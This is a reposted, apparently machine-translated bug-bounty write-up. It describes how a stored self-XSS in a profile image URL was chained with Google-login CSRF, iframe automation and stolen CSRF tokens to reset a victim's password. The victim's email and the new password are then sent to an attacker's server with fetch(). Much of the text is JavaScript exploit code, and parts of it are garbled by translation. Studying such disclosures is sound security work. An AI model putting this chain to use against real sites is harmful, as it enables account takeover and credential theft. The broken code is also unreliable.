Shulou(Shulou.com)05/31 Report--

What this article shares to you is the example analysis from the storage self-XSS to the final realization of the full account takeover. The editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article. Without saying much, let's take a look at it.

The following is about the author from discovering a stored self-XSS, to making use of some misconfigurations and functions of the target website, and finally realizing the complete takeover of the account of the target website.

The exploit process is summarized as follows:

Discover storage-based self-XSS

Csrf logged in by google, logged in to the attacker's account, and turned self-XSS into good-XSS

Log out the attacker's account

Google logs in to the victim's account

Steal csrf tokens that change passwords

Change the victim's account password

Send to the victim's mailbox and password to the attacker's server

Vulnerability Discovery & Utilization

In testing a non-public vulnerability reward project, I found a simple storage XSS in the site's profile settings feature. The operation of this function is that when a picture is uploaded locally, the image will be uploaded to another non-current server, and the next request will save the server image address to the current server. I added a simple XSS payload to the parameter of the image address in the request, like this & imageurl= https://example.com">alert(1), and then every time I visited the profile, a prompt box popped up. But this is just a self-XSS, and I need to make it work on the victim side.

I learned that the site supports google login, so you can enable the victim to log in to my own account by visiting the html code below, and then enable the victim to access the personal profile page of the account 5 seconds later to trigger the storage XSS. The TOKEN used in the google login in the code can be crawled after logging in locally. It is valid for one day and is sent to the victim within the validity period. The TOKEN will be updated automatically after the victim logs in.

Document.forms [0] .submit (); setTimeout (function () {_ window.location= "https://example.com/USERNAME/edit";}, 5000)

Then I explained the above attack details in the vulnerability submission report. After the victim triggered XSS, the attacker can do some social work to steal the victim's data. Because the URL visited by the victim's browser is the URL of the same website, this makes the attack more credible. This exploit was praised by the H2 vulnerability sorter, but he hoped that I could implement XSS on the victim's account in order to have a higher impact. I would like to say that this sentence inspired me, and I am grateful for it.

So the next task is to log in to the victim's account and execute XSS. What I wonder now is, if the victim has already logged into his google account on the website, can we still trigger XSS? The answer is yes. I have done some relevant research and reading before, and this @ emgeekboy0 writeup has helped me a lot.

As mentioned in the writeup post, we need to log out our account first. Logging out of your account in this site scenario is not a simple way to log out of url, but requires a csrf token to log out. Fortunately, the token is in the site source code and can be easily obtained through XSS. Then I loaded an iframe in the js code to log out the account, and the code was deployed to my server, and the payload of XSS was updated to ">".

/ / getting logout url with csrf token from source// obtains the csrf token used to log out url var y = JSON.parse (document.getElementById ('conf') [xss_clean]) from the source code; var url = y.user.link.logOut//First iframe to logout// the first iframe is used to log out account operation var profileIframe = document.createElement (' iframe'); profileIframe.setAttribute ('src',' https://example.com'+url); profileIframe.setAttribute ('id',' pi')) Document.body.appendChild (profileIframe)

Through the above code, you can log out the previously logged-in attacker's account, and then you need to log in to the victim's account through the google login button, but now the problem is that the url for logging in to google is not available, the only way is to click the google login button. So I started to study how javascript can click a button in DOM and add it to the script. Now the overall function of the script is a little more complicated. The specific process is to load another iframe in the first iframe created previously. For the latter iframe to be loaded, wait 30 seconds before triggering the DOM code in its iframe to click the google login button:

Document.getElementById ('pi'). Onload = function () {/ / second iframe to login to victims google account// the second iframe used to log in to the victim's google account var profileIframe1 = document.createElement (' iframe'); profileIframe1.setAttribute ('src',' https://example.com/login'); profileIframe1.setAttribute ('id',' lo1'); document.body.appendChild (profileIframe1) / / waiting for wait 30 seconds for the iframe to load properly//30 seconds for iframe to load document.getElementById ('lo1'). Onload = function () {setTimeout (function () {load ()}, 30000) function load () {let iframe = document.getElementById (' lo1'); let inner = iframe.contentDocument | | iframe.contentWindow.document Click the google login button in / / Clicked google login in iframe to login to victim / / iframe to log in to the victim's account inner.getElementsByClassName ("g_login") [1] .click ();}

Now that we have successfully logged in to the victim's account, now that it is all here, why not take full control of the victim's account by taking advantage of other configuration errors on the site. Cookies has a HttpOnly attribute, so stealing Cookies doesn't work. However, we can add a password to the Google account in the settings, and interestingly, adding a new password does not require the confirmation of the old password. So now the last thing I need to do is to construct a javascript script that can change the password, and to do this we need to solve the following two problems:

Different csrf tokens are needed to change the password. The token is in the source code of the settings page. I need to get the token to change the password.

The url of the setup page looks like "https://example.com/user/setting", so I need to get the account name of the victim's account in order to get the csrf token to change the password on the configuration page."

Whether the reader remembers the place mentioned above to steal the csrf token for the logout operation, and the user name can also be obtained. Next, to get the password-modified csrf token, I created another iframe to steal the token in the iframe I created earlier, with the following code:

/ / wait 40 seconds to t login fully// wait 40 seconds for full login setTimeout (function () {takeover ()}, 40000) function takeover () {/ / Getting users parameters page url from source / / get the account name let iframe_second = document.getElementById ('lo1') from the source code; let inner1 = iframe_second.contentDocument | | iframe_second.contentWindow.document; var z = JSON.parse (inner1.getElementById (' conf') [xss_clean]) Var param = z.user.link.parameter; / / opens third iframe to steal csrf token for pass change / / create the third iframe / / Where param is like / user/settings / / Param value used to change the password token is / user/settings var profileIframe2 = document.createElement ('iframe'); profileIframe1.setAttribute (' src', 'https://example.com'+param); profileIframe1.setAttribute (' id', 'token) Document.body.appendChild (profileIframe2) / / waiting 50 seconds to let the third iframe load fully / / wait 50 seconds so that the third iframe can load document.getElementById ('lo2'). Onload = function () {setTimeout (function () {csrf ()}, 50000) / / Stealing csrf token from parameters page / / steal csrf token function csrf () {let iframe_csrf = document.getElementById (' lo2') from the settings page Let inner_csrf = iframe_csrf.contentDocument | | iframe_csrf.contentWindow.document; var csrf = inner_csrf.getElementById ("password__token") .value;}

The csrf token used for password modification has been obtained. You only need a POST request from XMLHhttpRequest to change the password of the victim's account:

/ / account takover// takes over account var xhr = new XMLHttpRequest (); xhr.open ("POST", "https://example.com"+param+"/password", true"); xhr.setRequestHeader ("Accept", "text\ / html,application\ / xhtml+xml,application\ / xml;q=0.9,*\ / *; qroom0.8"); xhr.setRequestHeader ("Accept-Language", "en-US,en;q=0.5") Xhr.setRequestHeader ("Content-Type", "application\ / x-www-form-urlencoded"); xhr.withCredentials = true;var body = "setNewPasswordinitiate firstpasswordQstarting body.length; aBody [I] = body.charCodeAt (I); xhr.send (new Blob ([aBody])); for (var I = 0; I < passwordQ) aBody [I] = body.charCodeAt (I)

However, as far as the situation is concerned, the password has been changed, but you still need to obtain the victim's email account. Fortunately, the user's email account happens to be in the localStorage of the site, and then you just need to send it to my service with the fetch function:

Fetch ("https://myserver.com/email_password?=Email:"+localStorage.getItem('user_email')+" password:passwordQ!")

Through the above process, we have completed the complete takeover from the storage self-XSS to the account.

The above is the example analysis from the storage self-XSS to the final implementation of the full account takeover. The editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.